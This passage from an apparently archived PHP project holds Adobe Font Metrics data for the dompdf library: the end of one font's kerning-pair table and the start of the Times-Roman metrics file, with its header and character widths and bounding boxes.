KPX ncommaaccent ugrave -10
KPX ncommaaccent uhungarumlaut -10
KPX ncommaaccent umacron -10
KPX ncommaaccent uogonek -10
KPX ncommaaccent uring -10
KPX ncommaaccent v -40
KPX ncommaaccent y -20
KPX ncommaaccent yacute -20
KPX ncommaaccent ydieresis -20
KPX ntilde u -10
KPX ntilde uacute -10
KPX ntilde ucircumflex -10
KPX ntilde udieresis -10
KPX ntilde ugrave -10
KPX ntilde uhungarumlaut -10
KPX ntilde umacron -10
KPX ntilde uogonek -10
KPX ntilde uring -10
KPX ntilde v -40
KPX ntilde y -20
KPX ntilde yacute -20
KPX ntilde ydieresis -20
KPX o v -20
KPX o w -15
KPX o x -30
KPX o y -20
KPX o yacute -20
KPX o ydieresis -20
KPX oacute v -20
KPX oacute w -15
KPX oacute x -30
KPX oacute y -20
KPX oacute yacute -20
KPX oacute ydieresis -20
KPX ocircumflex v -20
KPX ocircumflex w -15
KPX ocircumflex x -30
KPX ocircumflex y -20
KPX ocircumflex yacute -20
KPX ocircumflex ydieresis -20
KPX odieresis v -20
KPX odieresis w -15
KPX odieresis x -30
KPX odieresis y -20
KPX odieresis yacute -20
KPX odieresis ydieresis -20
KPX ograve v -20
KPX ograve w -15
KPX ograve x -30
KPX ograve y -20
KPX ograve yacute -20
KPX ograve ydieresis -20
KPX ohungarumlaut v -20
KPX ohungarumlaut w -15
KPX ohungarumlaut x -30
KPX ohungarumlaut y -20
KPX ohungarumlaut yacute -20
KPX ohungarumlaut ydieresis -20
KPX omacron v -20
KPX omacron w -15
KPX omacron x -30
KPX omacron y -20
KPX omacron yacute -20
KPX omacron ydieresis -20
KPX oslash v -20
KPX oslash w -15
KPX oslash x -30
KPX oslash y -20
KPX oslash yacute -20
KPX oslash ydieresis -20
KPX otilde v -20
KPX otilde w -15
KPX otilde x -30
KPX otilde y -20
KPX otilde yacute -20
KPX otilde ydieresis -20
KPX p y -15
KPX p yacute -15
KPX p ydieresis -15
KPX period quotedblright -120
KPX period quoteright -120
KPX period space -40
KPX quotedblright space -80
KPX quoteleft quoteleft -46
KPX quoteright d -80
KPX quoteright dcroat -80
KPX quoteright l -20
KPX quoteright lacute -20
KPX quoteright lcommaaccent -20
KPX quoteright lslash -20
KPX quoteright quoteright -46
KPX quoteright r -40
KPX quoteright racute -40
KPX quoteright rcaron -40
KPX quoteright rcommaaccent -40
KPX quoteright s -60
KPX quoteright sacute -60
KPX quoteright scaron -60
KPX quoteright scedilla -60
KPX quoteright scommaaccent -60
KPX quoteright space -80
KPX quoteright v -20
KPX r c -20
KPX r cacute -20
KPX r ccaron -20
KPX r ccedilla -20
KPX r comma -60
KPX r d -20
KPX r dcroat -20
KPX r g -15
KPX r gbreve -15
KPX r gcommaaccent -15
KPX r hyphen -20
KPX r o -20
KPX r oacute -20
KPX r ocircumflex -20
KPX r odieresis -20
KPX r ograve -20
KPX r ohungarumlaut -20
KPX r omacron -20
KPX r oslash -20
KPX r otilde -20
KPX r period -60
KPX r q -20
KPX r s -15
KPX r sacute -15
KPX r scaron -15
KPX r scedilla -15
KPX r scommaaccent -15
KPX r t 20
KPX r tcommaaccent 20
KPX r v 10
KPX r y 10
KPX r yacute 10
KPX r ydieresis 10
KPX racute c -20
KPX racute cacute -20
KPX racute ccaron -20
KPX racute ccedilla -20
KPX racute comma -60
KPX racute d -20
KPX racute dcroat -20
KPX racute g -15
KPX racute gbreve -15
KPX racute gcommaaccent -15
KPX racute hyphen -20
KPX racute o -20
KPX racute oacute -20
KPX racute ocircumflex -20
KPX racute odieresis -20
KPX racute ograve -20
KPX racute ohungarumlaut -20
KPX racute omacron -20
KPX racute oslash -20
KPX racute otilde -20
KPX racute period -60
KPX racute q -20
KPX racute s -15
KPX racute sacute -15
KPX racute scaron -15
KPX racute scedilla -15
KPX racute scommaaccent -15
KPX racute t 20
KPX racute tcommaaccent 20
KPX racute v 10
KPX racute y 10
KPX racute yacute 10
KPX racute ydieresis 10
KPX rcaron c -20
KPX rcaron cacute -20
KPX rcaron ccaron -20
KPX rcaron ccedilla -20
KPX rcaron comma -60
KPX rcaron d -20
KPX rcaron dcroat -20
KPX rcaron g -15
KPX rcaron gbreve -15
KPX rcaron gcommaaccent -15
KPX rcaron hyphen -20
KPX rcaron o -20
KPX rcaron oacute -20
KPX rcaron ocircumflex -20
KPX rcaron odieresis -20
KPX rcaron ograve -20
KPX rcaron ohungarumlaut -20
KPX rcaron omacron -20
KPX rcaron oslash -20
KPX rcaron otilde -20
KPX rcaron period -60
KPX rcaron q -20
KPX rcaron s -15
KPX rcaron sacute -15
KPX rcaron scaron -15
KPX rcaron scedilla -15
KPX rcaron scommaaccent -15
KPX rcaron t 20
KPX rcaron tcommaaccent 20
KPX rcaron v 10
KPX rcaron y 10
KPX rcaron yacute 10
KPX rcaron ydieresis 10
KPX rcommaaccent c -20
KPX rcommaaccent cacute -20
KPX rcommaaccent ccaron -20
KPX rcommaaccent ccedilla -20
KPX rcommaaccent comma -60
KPX rcommaaccent d -20
KPX rcommaaccent dcroat -20
KPX rcommaaccent g -15
KPX rcommaaccent gbreve -15
KPX rcommaaccent gcommaaccent -15
KPX rcommaaccent hyphen -20
KPX rcommaaccent o -20
KPX rcommaaccent oacute -20
KPX rcommaaccent ocircumflex -20
KPX rcommaaccent odieresis -20
KPX rcommaaccent ograve -20
KPX rcommaaccent ohungarumlaut -20
KPX rcommaaccent omacron -20
KPX rcommaaccent oslash -20
KPX rcommaaccent otilde -20
KPX rcommaaccent period -60
KPX rcommaaccent q -20
KPX rcommaaccent s -15
KPX rcommaaccent sacute -15
KPX rcommaaccent scaron -15
KPX rcommaaccent scedilla -15
KPX rcommaaccent scommaaccent -15
KPX rcommaaccent t 20
KPX rcommaaccent tcommaaccent 20
KPX rcommaaccent v 10
KPX rcommaaccent y 10
KPX rcommaaccent yacute 10
KPX rcommaaccent ydieresis 10
KPX s w -15
KPX sacute w -15
KPX scaron w -15
KPX scedilla w -15
KPX scommaaccent w -15
KPX semicolon space -40
KPX space T -100
KPX space Tcaron -100
KPX space Tcommaaccent -100
KPX space V -80
KPX space W -80
KPX space Y -120
KPX space Yacute -120
KPX space Ydieresis -120
KPX space quotedblleft -80
KPX space quoteleft -60
KPX v a -20
KPX v aacute -20
KPX v abreve -20
KPX v acircumflex -20
KPX v adieresis -20
KPX v agrave -20
KPX v amacron -20
KPX v aogonek -20
KPX v aring -20
KPX v atilde -20
KPX v comma -80
KPX v o -30
KPX v oacute -30
KPX v ocircumflex -30
KPX v odieresis -30
KPX v ograve -30
KPX v ohungarumlaut -30
KPX v omacron -30
KPX v oslash -30
KPX v otilde -30
KPX v period -80
KPX w comma -40
KPX w o -20
KPX w oacute -20
KPX w ocircumflex -20
KPX w odieresis -20
KPX w ograve -20
KPX w ohungarumlaut -20
KPX w omacron -20
KPX w oslash -20
KPX w otilde -20
KPX w period -40
KPX x e -10
KPX x eacute -10
KPX x ecaron -10
KPX x ecircumflex -10
KPX x edieresis -10
KPX x edotaccent -10
KPX x egrave -10
KPX x emacron -10
KPX x eogonek -10
KPX y a -30
KPX y aacute -30
KPX y abreve -30
KPX y acircumflex -30
KPX y adieresis -30
KPX y agrave -30
KPX y amacron -30
KPX y aogonek -30
KPX y aring -30
KPX y atilde -30
KPX y comma -80
KPX y e -10
KPX y eacute -10
KPX y ecaron -10
KPX y ecircumflex -10
KPX y edieresis -10
KPX y edotaccent -10
KPX y egrave -10
KPX y emacron -10
KPX y eogonek -10
KPX y o -25
KPX y oacute -25
KPX y ocircumflex -25
KPX y odieresis -25
KPX y ograve -25
KPX y ohungarumlaut -25
KPX y omacron -25
KPX y oslash -25
KPX y otilde -25
KPX y period -80
KPX yacute a -30
KPX yacute aacute -30
KPX yacute abreve -30
KPX yacute acircumflex -30
KPX yacute adieresis -30
KPX yacute agrave -30
KPX yacute amacron -30
KPX yacute aogonek -30
KPX yacute aring -30
KPX yacute atilde -30
KPX yacute comma -80
KPX yacute e -10
KPX yacute eacute -10
KPX yacute ecaron -10
KPX yacute ecircumflex -10
KPX yacute edieresis -10
KPX yacute edotaccent -10
KPX yacute egrave -10
KPX yacute emacron -10
KPX yacute eogonek -10
KPX yacute o -25
KPX yacute oacute -25
KPX yacute ocircumflex -25
KPX yacute odieresis -25
KPX yacute ograve -25
KPX yacute ohungarumlaut -25
KPX yacute omacron -25
KPX yacute oslash -25
KPX yacute otilde -25
KPX yacute period -80
KPX ydieresis a -30
KPX ydieresis aacute -30
KPX ydieresis abreve -30
KPX ydieresis acircumflex -30
KPX ydieresis adieresis -30
KPX ydieresis agrave -30
KPX ydieresis amacron -30
KPX ydieresis aogonek -30
KPX ydieresis aring -30
KPX ydieresis atilde -30
KPX ydieresis comma -80
KPX ydieresis e -10
KPX ydieresis eacute -10
KPX ydieresis ecaron -10
KPX ydieresis ecircumflex -10
KPX ydieresis edieresis -10
KPX ydieresis edotaccent -10
KPX ydieresis egrave -10
KPX ydieresis emacron -10
KPX ydieresis eogonek -10
KPX ydieresis o -25
KPX ydieresis oacute -25
KPX ydieresis ocircumflex -25
KPX ydieresis odieresis -25
KPX ydieresis ograve -25
KPX ydieresis ohungarumlaut -25
KPX ydieresis omacron -25
KPX ydieresis oslash -25
KPX ydieresis otilde -25
KPX ydieresis period -80
KPX z e 10
KPX z eacute 10
KPX z ecaron 10
KPX z ecircumflex 10
KPX z edieresis 10
KPX z edotaccent 10
KPX z egrave 10
KPX z emacron 10
KPX z eogonek 10
KPX zacute e 10
KPX zacute eacute 10
KPX zacute ecaron 10
KPX zacute ecircumflex 10
KPX zacute edieresis 10
KPX zacute edotaccent 10
KPX zacute egrave 10
KPX zacute emacron 10
KPX zacute eogonek 10
KPX zcaron e 10
KPX zcaron eacute 10
KPX zcaron ecaron 10
KPX zcaron ecircumflex 10
KPX zcaron edieresis 10
KPX zcaron edotaccent 10
KPX zcaron egrave 10
KPX zcaron emacron 10
KPX zcaron eogonek 10
KPX zdotaccent e 10
KPX zdotaccent eacute 10
KPX zdotaccent ecaron 10
KPX zdotaccent ecircumflex 10
KPX zdotaccent edieresis 10
KPX zdotaccent edotaccent 10
KPX zdotaccent egrave 10
KPX zdotaccent emacron 10
KPX zdotaccent eogonek 10
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/Times-Roman.afm000066600000173062151150443000015310 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.
Comment Creation Date: Thu May  1 12:49:17 1997
Comment UniqueID 43068
Comment VMusage 43909 54934
FontName Times-Roman
FullName Times Roman
FamilyName Times
Weight Roman
ItalicAngle 0
IsFixedPitch false
CharacterSet ExtendedRoman
FontBBox -168 -218 1000 898
UnderlinePosition -100
UnderlineThickness 50
Version 002.00
Notice Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.Times is a trademark of Linotype-Hell AG and/or its subsidiaries.
EncodingScheme WinAnsiEncoding
CapHeight 662
XHeight 450
Ascender 683
Descender -217
StdHW 28
StdVW 84
StartCharMetrics 317
C 32 ; WX 250 ; N space ; B 0 0 0 0 ;
C 160 ; WX 250 ; N space ; B 0 0 0 0 ;
C 33 ; WX 333 ; N exclam ; B 130 -9 238 676 ;
C 34 ; WX 408 ; N quotedbl ; B 77 431 331 676 ;
C 35 ; WX 500 ; N numbersign ; B 5 0 496 662 ;
C 36 ; WX 500 ; N dollar ; B 44 -87 457 727 ;
C 37 ; WX 833 ; N percent ; B 61 -13 772 676 ;
C 38 ; WX 778 ; N ampersand ; B 42 -13 750 676 ;
C 146 ; WX 333 ; N quoteright ; B 79 433 218 676 ;
C 40 ; WX 333 ; N parenleft ; B 48 -177 304 676 ;
C 41 ; WX 333 ; N parenright ; B 29 -177 285 676 ;
C 42 ; WX 500 ; N asterisk ; B 69 265 432 676 ;
C 43 ; WX 564 ; N plus ; B 30 0 534 506 ;
C 44 ; WX 250 ; N comma ; B 56 -141 195 102 ;
C 45 ; WX 333 ; N hyphen ; B 39 194 285 257 ;
C 173 ; WX 333 ; N hyphen ; B 39 194 285 257 ;
C 46 ; WX 250 ; N period ; B 70 -11 181 100 ;
C 47 ; WX 278 ; N slash ; B -9 -14 287 676 ;
C 48 ; WX 500 ; N zero ; B 24 -14 476 676 ;
C 49 ; WX 500 ; N one ; B 111 0 394 676 ;
C 50 ; WX 500 ; N two ; B 30 0 475 676 ;
C 51 ; WX 500 ; N three ; B 43 -14 431 676 ;
C 52 ; WX 500 ; N four ; B 12 0 472 676 ;
C 53 ; WX 500 ; N five ; B 32 -14 438 688 ;
C 54 ; WX 500 ; N six ; B 34 -14 468 684 ;
C 55 ; WX 500 ; N seven ; B 20 -8 449 662 ;
C 56 ; WX 500 ; N eight ; B 56 -14 445 676 ;
C 57 ; WX 500 ; N nine ; B 30 -22 459 676 ;
C 58 ; WX 278 ; N colon ; B 81 -11 192 459 ;
C 59 ; WX 278 ; N semicolon ; B 80 -141 219 459 ;
C 60 ; WX 564 ; N less ; B 28 -8 536 514 ;
C 61 ; WX 564 ; N equal ; B 30 120 534 386 ;
C 62 ; WX 564 ; N greater ; B 28 -8 536 514 ;
C 63 ; WX 444 ; N question ; B 68 -8 414 676 ;
C 64 ; WX 921 ; N at ; B 116 -14 809 676 ;
C 65 ; WX 722 ; N A ; B 15 0 706 674 ;
C 66 ; WX 667 ; N B ; B 17 0 593 662 ;
C 67 ; WX 667 ; N C ; B 28 -14 633 676 ;
C 68 ; WX 722 ; N D ; B 16 0 685 662 ;
C 69 ; WX 611 ; N E ; B 12 0 597 662 ;
C 70 ; WX 556 ; N F ; B 12 0 546 662 ;
C 71 ; WX 722 ; N G ; B 32 -14 709 676 ;
C 72 ; WX 722 ; N H ; B 19 0 702 662 ;
C 73 ; WX 333 ; N I ; B 18 0 315 662 ;
C 74 ; WX 389 ; N J ; B 10 -14 370 662 ;
C 75 ; WX 722 ; N K ; B 34 0 723 662 ;
C 76 ; WX 611 ; N L ; B 12 0 598 662 ;
C 77 ; WX 889 ; N M ; B 12 0 863 662 ;
C 78 ; WX 722 ; N N ; B 12 -11 707 662 ;
C 79 ; WX 722 ; N O ; B 34 -14 688 676 ;
C 80 ; WX 556 ; N P ; B 16 0 542 662 ;
C 81 ; WX 722 ; N Q ; B 34 -178 701 676 ;
C 82 ; WX 667 ; N R ; B 17 0 659 662 ;
C 83 ; WX 556 ; N S ; B 42 -14 491 676 ;
C 84 ; WX 611 ; N T ; B 17 0 593 662 ;
C 85 ; WX 722 ; N U ; B 14 -14 705 662 ;
C 86 ; WX 722 ; N V ; B 16 -11 697 662 ;
C 87 ; WX 944 ; N W ; B 5 -11 932 662 ;
C 88 ; WX 722 ; N X ; B 10 0 704 662 ;
C 89 ; WX 722 ; N Y ; B 22 0 703 662 ;
C 90 ; WX 611 ; N Z ; B 9 0 597 662 ;
C 91 ; WX 333 ; N bracketleft ; B 88 -156 299 662 ;
C 92 ; WX 278 ; N backslash ; B -9 -14 287 676 ;
C 93 ; WX 333 ; N bracketright ; B 34 -156 245 662 ;
C 94 ; WX 469 ; N asciicircum ; B 24 297 446 662 ;
C 95 ; WX 500 ; N underscore ; B 0 -125 500 -75 ;
C 145 ; WX 333 ; N quoteleft ; B 115 433 254 676 ;
C 97 ; WX 444 ; N a ; B 37 -10 442 460 ;
C 98 ; WX 500 ; N b ; B 3 -10 468 683 ;
C 99 ; WX 444 ; N c ; B 25 -10 412 460 ;
C 100 ; WX 500 ; N d ; B 27 -10 491 683 ;
C 101 ; WX 444 ; N e ; B 25 -10 424 460 ;
C 102 ; WX 333 ; N f ; B 20 0 383 683 ; L i fi ; L l fl ;
C 103 ; WX 500 ; N g ; B 28 -218 470 460 ;
C 104 ; WX 500 ; N h ; B 9 0 487 683 ;
C 105 ; WX 278 ; N i ; B 16 0 253 683 ;
C 106 ; WX 278 ; N j ; B -70 -218 194 683 ;
C 107 ; WX 500 ; N k ; B 7 0 505 683 ;
C 108 ; WX 278 ; N l ; B 19 0 257 683 ;
C 109 ; WX 778 ; N m ; B 16 0 775 460 ;
C 110 ; WX 500 ; N n ; B 16 0 485 460 ;
C 111 ; WX 500 ; N o ; B 29 -10 470 460 ;
C 112 ; WX 500 ; N p ; B 5 -217 470 460 ;
C 113 ; WX 500 ; N q ; B 24 -217 488 460 ;
C 114 ; WX 333 ; N r ; B 5 0 335 460 ;
C 115 ; WX 389 ; N s ; B 51 -10 348 460 ;
C 116 ; WX 278 ; N t ; B 13 -10 279 579 ;
C 117 ; WX 500 ; N u ; B 9 -10 479 450 ;
C 118 ; WX 500 ; N v ; B 19 -14 477 450 ;
C 119 ; WX 722 ; N w ; B 21 -14 694 450 ;
C 120 ; WX 500 ; N x ; B 17 0 479 450 ;
C 121 ; WX 500 ; N y ; B 14 -218 475 450 ;
C 122 ; WX 444 ; N z ; B 27 0 418 450 ;
C 123 ; WX 480 ; N braceleft ; B 100 -181 350 680 ;
C 124 ; WX 200 ; N bar ; B 67 -218 133 782 ;
C 125 ; WX 480 ; N braceright ; B 130 -181 380 680 ;
C 126 ; WX 541 ; N asciitilde ; B 40 183 502 323 ;
C 161 ; WX 333 ; N exclamdown ; B 97 -218 205 467 ;
C 162 ; WX 500 ; N cent ; B 53 -138 448 579 ;
C 163 ; WX 500 ; N sterling ; B 12 -8 490 676 ;
C -1 ; WX 167 ; N fraction ; B -168 -14 331 676 ;
C 165 ; WX 500 ; N yen ; B -53 0 512 662 ;
C 131 ; WX 500 ; N florin ; B 7 -189 490 676 ;
C 167 ; WX 500 ; N section ; B 70 -148 426 676 ;
C 164 ; WX 500 ; N currency ; B -22 58 522 602 ;
C 39 ; WX 180 ; N quotesingle ; B 48 431 133 676 ;
C 147 ; WX 444 ; N quotedblleft ; B 43 433 414 676 ;
C 171 ; WX 500 ; N guillemotleft ; B 42 33 456 416 ;
C 139 ; WX 333 ; N guilsinglleft ; B 63 33 285 416 ;
C 155 ; WX 333 ; N guilsinglright ; B 48 33 270 416 ;
C -1 ; WX 556 ; N fi ; B 31 0 521 683 ;
C -1 ; WX 556 ; N fl ; B 32 0 521 683 ;
C 150 ; WX 500 ; N endash ; B 0 201 500 250 ;
C 134 ; WX 500 ; N dagger ; B 59 -149 442 676 ;
C 135 ; WX 500 ; N daggerdbl ; B 58 -153 442 676 ;
C 183 ; WX 250 ; N periodcentered ; B 70 199 181 310 ;
C 182 ; WX 453 ; N paragraph ; B -22 -154 450 662 ;
C 149 ; WX 350 ; N bullet ; B 40 196 310 466 ;
C 130 ; WX 333 ; N quotesinglbase ; B 79 -141 218 102 ;
C 132 ; WX 444 ; N quotedblbase ; B 45 -141 416 102 ;
C 148 ; WX 444 ; N quotedblright ; B 30 433 401 676 ;
C 187 ; WX 500 ; N guillemotright ; B 44 33 458 416 ;
C 133 ; WX 1000 ; N ellipsis ; B 111 -11 888 100 ;
C 137 ; WX 1000 ; N perthousand ; B 7 -19 994 706 ;
C 191 ; WX 444 ; N questiondown ; B 30 -218 376 466 ;
C 96 ; WX 333 ; N grave ; B 19 507 242 678 ;
C 180 ; WX 333 ; N acute ; B 93 507 317 678 ;
C 136 ; WX 333 ; N circumflex ; B 11 507 322 674 ;
C 152 ; WX 333 ; N tilde ; B 1 532 331 638 ;
C 175 ; WX 333 ; N macron ; B 11 547 322 601 ;
C -1 ; WX 333 ; N breve ; B 26 507 307 664 ;
C -1 ; WX 333 ; N dotaccent ; B 118 581 216 681 ;
C 168 ; WX 333 ; N dieresis ; B 18 581 315 681 ;
C -1 ; WX 333 ; N ring ; B 67 512 266 711 ;
C 184 ; WX 333 ; N cedilla ; B 52 -215 261 0 ;
C -1 ; WX 333 ; N hungarumlaut ; B -3 507 377 678 ;
C -1 ; WX 333 ; N ogonek ; B 62 -165 243 0 ;
C -1 ; WX 333 ; N caron ; B 11 507 322 674 ;
C 151 ; WX 1000 ; N emdash ; B 0 201 1000 250 ;
C 198 ; WX 889 ; N AE ; B 0 0 863 662 ;
C 170 ; WX 276 ; N ordfeminine ; B 4 394 270 676 ;
C -1 ; WX 611 ; N Lslash ; B 12 0 598 662 ;
C 216 ; WX 722 ; N Oslash ; B 34 -80 688 734 ;
C 140 ; WX 889 ; N OE ; B 30 -6 885 668 ;
C 186 ; WX 310 ; N ordmasculine ; B 6 394 304 676 ;
C 230 ; WX 667 ; N ae ; B 38 -10 632 460 ;
C -1 ; WX 278 ; N dotlessi ; B 16 0 253 460 ;
C -1 ; WX 278 ; N lslash ; B 19 0 259 683 ;
C 248 ; WX 500 ; N oslash ; B 29 -112 470 551 ;
C 156 ; WX 722 ; N oe ; B 30 -10 690 460 ;
C 223 ; WX 500 ; N germandbls ; B 12 -9 468 683 ;
C 207 ; WX 333 ; N Idieresis ; B 18 0 315 835 ;
C 233 ; WX 444 ; N eacute ; B 25 -10 424 678 ;
C -1 ; WX 444 ; N abreve ; B 37 -10 442 664 ;
C -1 ; WX 500 ; N uhungarumlaut ; B 9 -10 501 678 ;
C -1 ; WX 444 ; N ecaron ; B 25 -10 424 674 ;
C 159 ; WX 722 ; N Ydieresis ; B 22 0 703 835 ;
C 247 ; WX 564 ; N divide ; B 30 -10 534 516 ;
C 221 ; WX 722 ; N Yacute ; B 22 0 703 890 ;
C 194 ; WX 722 ; N Acircumflex ; B 15 0 706 886 ;
C 225 ; WX 444 ; N aacute ; B 37 -10 442 678 ;
C 219 ; WX 722 ; N Ucircumflex ; B 14 -14 705 886 ;
C 253 ; WX 500 ; N yacute ; B 14 -218 475 678 ;
C -1 ; WX 389 ; N scommaaccent ; B 51 -218 348 460 ;
C 234 ; WX 444 ; N ecircumflex ; B 25 -10 424 674 ;
C -1 ; WX 722 ; N Uring ; B 14 -14 705 898 ;
C 220 ; WX 722 ; N Udieresis ; B 14 -14 705 835 ;
C -1 ; WX 444 ; N aogonek ; B 37 -165 469 460 ;
C 218 ; WX 722 ; N Uacute ; B 14 -14 705 890 ;
C -1 ; WX 500 ; N uogonek ; B 9 -155 487 450 ;
C 203 ; WX 611 ; N Edieresis ; B 12 0 597 835 ;
C -1 ; WX 722 ; N Dcroat ; B 16 0 685 662 ;
C -1 ; WX 250 ; N commaaccent ; B 59 -218 184 -50 ;
C 169 ; WX 760 ; N copyright ; B 38 -14 722 676 ;
C -1 ; WX 611 ; N Emacron ; B 12 0 597 813 ;
C -1 ; WX 444 ; N ccaron ; B 25 -10 412 674 ;
C 229 ; WX 444 ; N aring ; B 37 -10 442 711 ;
C -1 ; WX 722 ; N Ncommaaccent ; B 12 -198 707 662 ;
C -1 ; WX 278 ; N lacute ; B 19 0 290 890 ;
C 224 ; WX 444 ; N agrave ; B 37 -10 442 678 ;
C -1 ; WX 611 ; N Tcommaaccent ; B 17 -218 593 662 ;
C -1 ; WX 667 ; N Cacute ; B 28 -14 633 890 ;
C 227 ; WX 444 ; N atilde ; B 37 -10 442 638 ;
C -1 ; WX 611 ; N Edotaccent ; B 12 0 597 835 ;
C 154 ; WX 389 ; N scaron ; B 39 -10 350 674 ;
C -1 ; WX 389 ; N scedilla ; B 51 -215 348 460 ;
C 237 ; WX 278 ; N iacute ; B 16 0 290 678 ;
C -1 ; WX 471 ; N lozenge ; B 13 0 459 724 ;
C -1 ; WX 667 ; N Rcaron ; B 17 0 659 886 ;
C -1 ; WX 722 ; N Gcommaaccent ; B 32 -218 709 676 ;
C 251 ; WX 500 ; N ucircumflex ; B 9 -10 479 674 ;
C 226 ; WX 444 ; N acircumflex ; B 37 -10 442 674 ;
C -1 ; WX 722 ; N Amacron ; B 15 0 706 813 ;
C -1 ; WX 333 ; N rcaron ; B 5 0 335 674 ;
C 231 ; WX 444 ; N ccedilla ; B 25 -215 412 460 ;
C -1 ; WX 611 ; N Zdotaccent ; B 9 0 597 835 ;
C 222 ; WX 556 ; N Thorn ; B 16 0 542 662 ;
C -1 ; WX 722 ; N Omacron ; B 34 -14 688 813 ;
C -1 ; WX 667 ; N Racute ; B 17 0 659 890 ;
C -1 ; WX 556 ; N Sacute ; B 42 -14 491 890 ;
C -1 ; WX 588 ; N dcaron ; B 27 -10 589 695 ;
C -1 ; WX 722 ; N Umacron ; B 14 -14 705 813 ;
C -1 ; WX 500 ; N uring ; B 9 -10 479 711 ;
C 179 ; WX 300 ; N threesuperior ; B 15 262 291 676 ;
C 210 ; WX 722 ; N Ograve ; B 34 -14 688 890 ;
C 192 ; WX 722 ; N Agrave ; B 15 0 706 890 ;
C -1 ; WX 722 ; N Abreve ; B 15 0 706 876 ;
C 215 ; WX 564 ; N multiply ; B 38 8 527 497 ;
C 250 ; WX 500 ; N uacute ; B 9 -10 479 678 ;
C -1 ; WX 611 ; N Tcaron ; B 17 0 593 886 ;
C -1 ; WX 476 ; N partialdiff ; B 17 -38 459 710 ;
C 255 ; WX 500 ; N ydieresis ; B 14 -218 475 623 ;
C -1 ; WX 722 ; N Nacute ; B 12 -11 707 890 ;
C 238 ; WX 278 ; N icircumflex ; B -16 0 295 674 ;
C 202 ; WX 611 ; N Ecircumflex ; B 12 0 597 886 ;
C 228 ; WX 444 ; N adieresis ; B 37 -10 442 623 ;
C 235 ; WX 444 ; N edieresis ; B 25 -10 424 623 ;
C -1 ; WX 444 ; N cacute ; B 25 -10 413 678 ;
C -1 ; WX 500 ; N nacute ; B 16 0 485 678 ;
C -1 ; WX 500 ; N umacron ; B 9 -10 479 601 ;
C -1 ; WX 722 ; N Ncaron ; B 12 -11 707 886 ;
C 205 ; WX 333 ; N Iacute ; B 18 0 317 890 ;
C 177 ; WX 564 ; N plusminus ; B 30 0 534 506 ;
C 166 ; WX 200 ; N brokenbar ; B 67 -143 133 707 ;
C 174 ; WX 760 ; N registered ; B 38 -14 722 676 ;
C -1 ; WX 722 ; N Gbreve ; B 32 -14 709 876 ;
C -1 ; WX 333 ; N Idotaccent ; B 18 0 315 835 ;
C -1 ; WX 600 ; N summation ; B 15 -10 585 706 ;
C 200 ; WX 611 ; N Egrave ; B 12 0 597 890 ;
C -1 ; WX 333 ; N racute ; B 5 0 335 678 ;
C -1 ; WX 500 ; N omacron ; B 29 -10 470 601 ;
C -1 ; WX 611 ; N Zacute ; B 9 0 597 890 ;
C 142 ; WX 611 ; N Zcaron ; B 9 0 597 886 ;
C -1 ; WX 549 ; N greaterequal ; B 26 0 523 666 ;
C 208 ; WX 722 ; N Eth ; B 16 0 685 662 ;
C 199 ; WX 667 ; N Ccedilla ; B 28 -215 633 676 ;
C -1 ; WX 278 ; N lcommaaccent ; B 19 -218 257 683 ;
C -1 ; WX 326 ; N tcaron ; B 13 -10 318 722 ;
C -1 ; WX 444 ; N eogonek ; B 25 -165 424 460 ;
C -1 ; WX 722 ; N Uogonek ; B 14 -165 705 662 ;
C 193 ; WX 722 ; N Aacute ; B 15 0 706 890 ;
C 196 ; WX 722 ; N Adieresis ; B 15 0 706 835 ;
C 232 ; WX 444 ; N egrave ; B 25 -10 424 678 ;
C -1 ; WX 444 ; N zacute ; B 27 0 418 678 ;
C -1 ; WX 278 ; N iogonek ; B 16 -165 265 683 ;
C 211 ; WX 722 ; N Oacute ; B 34 -14 688 890 ;
C 243 ; WX 500 ; N oacute ; B 29 -10 470 678 ;
C -1 ; WX 444 ; N amacron ; B 37 -10 442 601 ;
C -1 ; WX 389 ; N sacute ; B 51 -10 348 678 ;
C 239 ; WX 278 ; N idieresis ; B -9 0 288 623 ;
C 212 ; WX 722 ; N Ocircumflex ; B 34 -14 688 886 ;
C 217 ; WX 722 ; N Ugrave ; B 14 -14 705 890 ;
C -1 ; WX 612 ; N Delta ; B 6 0 608 688 ;
C 254 ; WX 500 ; N thorn ; B 5 -217 470 683 ;
C 178 ; WX 300 ; N twosuperior ; B 1 270 296 676 ;
C 214 ; WX 722 ; N Odieresis ; B 34 -14 688 835 ;
C 181 ; WX 500 ; N mu ; B 36 -218 512 450 ;
C 236 ; WX 278 ; N igrave ; B -8 0 253 678 ;
C -1 ; WX 500 ; N ohungarumlaut ; B 29 -10 491 678 ;
C -1 ; WX 611 ; N Eogonek ; B 12 -165 597 662 ;
C -1 ; WX 500 ; N dcroat ; B 27 -10 500 683 ;
C 190 ; WX 750 ; N threequarters ; B 15 -14 718 676 ;
C -1 ; WX 556 ; N Scedilla ; B 42 -215 491 676 ;
C -1 ; WX 344 ; N lcaron ; B 19 0 347 695 ;
C -1 ; WX 722 ; N Kcommaaccent ; B 34 -198 723 662 ;
C -1 ; WX 611 ; N Lacute ; B 12 0 598 890 ;
C 153 ; WX 980 ; N trademark ; B 30 256 957 662 ;
C -1 ; WX 444 ; N edotaccent ; B 25 -10 424 623 ;
C 204 ; WX 333 ; N Igrave ; B 18 0 315 890 ;
C -1 ; WX 333 ; N Imacron ; B 11 0 322 813 ;
C -1 ; WX 611 ; N Lcaron ; B 12 0 598 676 ;
C 189 ; WX 750 ; N onehalf ; B 31 -14 746 676 ;
C -1 ; WX 549 ; N lessequal ; B 26 0 523 666 ;
C 244 ; WX 500 ; N ocircumflex ; B 29 -10 470 674 ;
C 241 ; WX 500 ; N ntilde ; B 16 0 485 638 ;
C -1 ; WX 722 ; N Uhungarumlaut ; B 14 -14 705 890 ;
C 201 ; WX 611 ; N Eacute ; B 12 0 597 890 ;
C -1 ; WX 444 ; N emacron ; B 25 -10 424 601 ;
C -1 ; WX 500 ; N gbreve ; B 28 -218 470 664 ;
C 188 ; WX 750 ; N onequarter ; B 37 -14 718 676 ;
C 138 ; WX 556 ; N Scaron ; B 42 -14 491 886 ;
C -1 ; WX 556 ; N Scommaaccent ; B 42 -218 491 676 ;
C -1 ; WX 722 ; N Ohungarumlaut ; B 34 -14 688 890 ;
C 176 ; WX 400 ; N degree ; B 57 390 343 676 ;
